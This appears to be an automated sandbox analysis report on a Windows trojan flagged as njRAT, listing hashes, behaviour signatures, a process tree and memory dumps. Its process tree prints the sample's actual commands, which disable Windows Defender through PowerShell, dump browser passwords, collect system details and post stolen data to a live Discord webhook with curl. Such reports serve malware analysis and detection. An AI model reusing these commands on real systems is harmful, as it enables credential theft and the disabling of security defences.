Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    21-03-2021 17:36

General

  • Target

    SecuriteInfo.com.Trojan.DownLoader38.3828.25697.12964.exe

  • Size

    12.6MB

  • MD5

    897aabd3ac16050d62b8aacf85541454

  • SHA1

    db2fd7fb1de3b602d7ba17da0d0b1ad4f6e552c9

  • SHA256

    1d2ca907c73941dfcd91aa2ef0b96ecc137146be0dfd654e52f9408100f8fbbb

  • SHA512

    10bc9fcb25e2991141fe279a7815c59f06b0213046f957b4637dcfd9c31473a7b7428db5844fe0f7a36c0320ca933f335d7edea5167d8960ad37e1f0860f200a

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 2 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Gathers system information 1 TTPs 8 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader38.3828.25697.12964.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader38.3828.25697.12964.exe"
    1⤵
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\Disable.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\SysWOW64\WScript.exe" "C:\Windows\Disable.vbs" /elevate
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:388
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBehaviorMonitoring $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2116
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2240
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3940
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3956
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3160
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:752
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4112
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2128
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
    • C:\Windows\Machos1.exe
      "C:\Windows\Machos1.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3404
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\temp\finalres.vbs"
        3⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\temp\finalres2.vbs"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:756
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\temp\finalres.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4436
            • C:\temp\curl.exe
              C:/temp/curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**Hey Machos. Extraction was successful.**\"}" https://discordapp.com/api/webhooks/812010029556432946/cR78AVIHBOdzVZKLTZyxTYPyO8Zxl7AHlImj-qXIF6Ue767lT1m1Gsek0tpc8FRIm7sC
              6⤵
              • Executes dropped EXE
              PID:3472
            • C:\temp\curl.exe
              C:/temp/curl "https://myexternalip.com/raw"
              6⤵
              • Executes dropped EXE
              PID:3084
            • C:\temp\WebBrowserPassView.exe
              C:/temp/WebBrowserPassView.exe /stext "C:/temp/Admin_Passwords.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:5076
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              6⤵
              • Gathers system information
              PID:3312
            • C:\Windows\system32\findstr.exe
              findstr /c:"Host Name"
              6⤵
                PID:3668
              • C:\Windows\system32\systeminfo.exe
                systeminfo
                6⤵
                • Gathers system information
                PID:4440
              • C:\Windows\system32\findstr.exe
                findstr /c:"Domain"
                6⤵
                  PID:4860
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  6⤵
                  • Gathers system information
                  PID:4588
                • C:\Windows\system32\findstr.exe
                  findstr /c:"OS Name"
                  6⤵
                    PID:4248
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo
                    6⤵
                    • Gathers system information
                    PID:1184
                  • C:\Windows\system32\findstr.exe
                    findstr /c:"OS Version"
                    6⤵
                      PID:3156
                    • C:\Windows\system32\systeminfo.exe
                      systeminfo
                      6⤵
                      • Gathers system information
                      PID:4240
                    • C:\Windows\system32\findstr.exe
                      findstr /c:"System Manufacturer"
                      6⤵
                        PID:5056
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo
                        6⤵
                        • Gathers system information
                        PID:588
                      • C:\Windows\system32\findstr.exe
                        findstr /c:"System Model"
                        6⤵
                          PID:4220
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          6⤵
                          • Gathers system information
                          PID:2100
                        • C:\Windows\system32\findstr.exe
                          findstr /c:"System type"
                          6⤵
                            PID:4576
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            6⤵
                            • Gathers system information
                            PID:1704
                          • C:\Windows\system32\findstr.exe
                            findstr /c:"Total Physical Memory"
                            6⤵
                              PID:1680
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic diskdrive get size
                              6⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2268
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic bios get serialnumber
                              6⤵
                                PID:3356
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic cpu get name
                                6⤵
                                  PID:2544
                                • C:\temp\curl.exe
                                  C:/temp/curl -X POST -H "Content-type: application/json" --data "{\"content\": \"**Admin**\n```asciidoc\nTime and Date :: Sun 03/21/2021 18:41:05.86\nIP Address :: 154.61.71.13\nWindows Info :: Product Name: Windows 10 Pro, Product ID: 00331-10000-00001-AA148, Installed Key: W269N-WFGWX-YVC9B-4J6C9-T83GX\n```\n\"}" https://discordapp.com/api/webhooks/812010029556432946/cR78AVIHBOdzVZKLTZyxTYPyO8Zxl7AHlImj-qXIF6Ue767lT1m1Gsek0tpc8FRIm7sC
                                  6⤵
                                  • Executes dropped EXE
                                  PID:4132
                                • C:\temp\filed.exe
                                  "C:\temp\filed.exe" --processStart filed.exe
                                  6⤵
                                  • Executes dropped EXE
                                  PID:3860
                                • C:\Windows\system32\timeout.exe
                                  timeout 5
                                  6⤵
                                  • Delays execution with timeout.exe
                                  PID:2276
                        • C:\Windows\System.exe
                          "C:\Windows\System.exe"
                          2⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:184
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh firewall add allowedprogram "C:\Windows\System.exe" "System.exe" ENABLE
                            3⤵
                              PID:4760

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/184-22-0x0000000004C70000-0x0000000004C71000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-95-0x0000000005100000-0x0000000005108000-memory.dmp

                          Filesize

                          32KB

                        • memory/184-12-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/184-40-0x0000000004E60000-0x0000000004E61000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-16-0x0000000000320000-0x0000000000321000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-44-0x0000000004E70000-0x0000000004E71000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-39-0x0000000004B40000-0x0000000004B41000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-18-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                          Filesize

                          4KB

                        • memory/184-21-0x0000000005170000-0x0000000005171000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-36-0x00000000046E0000-0x00000000046E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-160-0x00000000082B0000-0x00000000082B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-330-0x00000000093B0000-0x00000000093B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-43-0x0000000007310000-0x0000000007311000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-234-0x000000007ED50000-0x000000007ED51000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-31-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/388-250-0x00000000094C0000-0x00000000094C1000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-47-0x0000000006CD2000-0x0000000006CD3000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-145-0x0000000007260000-0x0000000007261000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-109-0x0000000007B90000-0x0000000007B91000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-37-0x0000000006CD0000-0x0000000006CD1000-memory.dmp

                          Filesize

                          4KB

                        • memory/388-270-0x0000000006CD3000-0x0000000006CD4000-memory.dmp

                          Filesize

                          4KB

                        • memory/644-2-0x0000000001670000-0x0000000001671000-memory.dmp

                          Filesize

                          4KB

                        • memory/752-60-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/752-92-0x0000000004180000-0x0000000004181000-memory.dmp

                          Filesize

                          4KB

                        • memory/752-94-0x0000000004182000-0x0000000004183000-memory.dmp

                          Filesize

                          4KB

                        • memory/752-258-0x000000007E960000-0x000000007E961000-memory.dmp

                          Filesize

                          4KB

                        • memory/752-324-0x0000000004183000-0x0000000004184000-memory.dmp

                          Filesize

                          4KB

                        • memory/1944-351-0x0000000009C60000-0x0000000009C61000-memory.dmp

                          Filesize

                          4KB

                        • memory/1944-96-0x0000000007360000-0x0000000007361000-memory.dmp

                          Filesize

                          4KB

                        • memory/1944-274-0x000000007E950000-0x000000007E951000-memory.dmp

                          Filesize

                          4KB

                        • memory/1944-64-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/1944-326-0x0000000007363000-0x0000000007364000-memory.dmp

                          Filesize

                          4KB

                        • memory/1944-74-0x0000000007362000-0x0000000007363000-memory.dmp

                          Filesize

                          4KB

                        • memory/1968-81-0x0000000007090000-0x0000000007091000-memory.dmp

                          Filesize

                          4KB

                        • memory/1968-313-0x000000007E010000-0x000000007E011000-memory.dmp

                          Filesize

                          4KB

                        • memory/1968-83-0x0000000007092000-0x0000000007093000-memory.dmp

                          Filesize

                          4KB

                        • memory/1968-328-0x0000000007093000-0x0000000007094000-memory.dmp

                          Filesize

                          4KB

                        • memory/1968-69-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/2116-45-0x00000000064F0000-0x00000000064F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2116-34-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/2116-238-0x0000000008C40000-0x0000000008C41000-memory.dmp

                          Filesize

                          4KB

                        • memory/2116-235-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2116-189-0x0000000008C00000-0x0000000008C33000-memory.dmp

                          Filesize

                          204KB

                        • memory/2116-205-0x000000007F8B0000-0x000000007F8B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2116-267-0x00000000064F3000-0x00000000064F4000-memory.dmp

                          Filesize

                          4KB

                        • memory/2116-48-0x00000000064F2000-0x00000000064F3000-memory.dmp

                          Filesize

                          4KB

                        • memory/2128-67-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/2128-76-0x0000000006820000-0x0000000006821000-memory.dmp

                          Filesize

                          4KB

                        • memory/2128-325-0x0000000006823000-0x0000000006824000-memory.dmp

                          Filesize

                          4KB

                        • memory/2128-265-0x000000007EF00000-0x000000007EF01000-memory.dmp

                          Filesize

                          4KB

                        • memory/2128-78-0x0000000006822000-0x0000000006823000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-70-0x00000000070F0000-0x00000000070F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-283-0x00000000070F3000-0x00000000070F4000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-98-0x0000000007E60000-0x0000000007E61000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-97-0x00000000076B0000-0x00000000076B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-71-0x00000000070F2000-0x00000000070F3000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-225-0x000000007F6B0000-0x000000007F6B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-103-0x0000000007ED0000-0x0000000007ED1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2240-41-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/3160-91-0x0000000006BC0000-0x0000000006BC1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3160-260-0x0000000006BC3000-0x0000000006BC4000-memory.dmp

                          Filesize

                          4KB

                        • memory/3160-212-0x000000007EBB0000-0x000000007EBB1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3160-58-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/3160-93-0x0000000006BC2000-0x0000000006BC3000-memory.dmp

                          Filesize

                          4KB

                        • memory/3404-35-0x000001CA1C4D0000-0x000001CA1C4D2000-memory.dmp

                          Filesize

                          8KB

                        • memory/3404-8-0x00007FF91E680000-0x00007FF91F06C000-memory.dmp

                          Filesize

                          9.9MB

                        • memory/3404-13-0x000001CA01570000-0x000001CA01571000-memory.dmp

                          Filesize

                          4KB

                        • memory/3860-411-0x0000000000A20000-0x0000000000A21000-memory.dmp

                          Filesize

                          4KB

                        • memory/3860-410-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/3860-415-0x00000000052D0000-0x00000000052D1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3940-232-0x000000007E310000-0x000000007E311000-memory.dmp

                          Filesize

                          4KB

                        • memory/3940-262-0x00000000073C3000-0x00000000073C4000-memory.dmp

                          Filesize

                          4KB

                        • memory/3940-150-0x0000000008B20000-0x0000000008B21000-memory.dmp

                          Filesize

                          4KB

                        • memory/3940-89-0x00000000073C2000-0x00000000073C3000-memory.dmp

                          Filesize

                          4KB

                        • memory/3940-50-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/3940-87-0x00000000073C0000-0x00000000073C1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3956-256-0x00000000042E3000-0x00000000042E4000-memory.dmp

                          Filesize

                          4KB

                        • memory/3956-90-0x00000000042E2000-0x00000000042E3000-memory.dmp

                          Filesize

                          4KB

                        • memory/3956-88-0x00000000042E0000-0x00000000042E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3956-52-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/3956-218-0x000000007EF40000-0x000000007EF41000-memory.dmp

                          Filesize

                          4KB

                        • memory/4112-278-0x000000007E050000-0x000000007E051000-memory.dmp

                          Filesize

                          4KB

                        • memory/4112-86-0x0000000004E00000-0x0000000004E01000-memory.dmp

                          Filesize

                          4KB

                        • memory/4112-327-0x0000000004E03000-0x0000000004E04000-memory.dmp

                          Filesize

                          4KB

                        • memory/4112-72-0x0000000073950000-0x000000007403E000-memory.dmp

                          Filesize

                          6.9MB

                        • memory/4112-85-0x0000000004E02000-0x0000000004E03000-memory.dmp

                          Filesize

                          4KB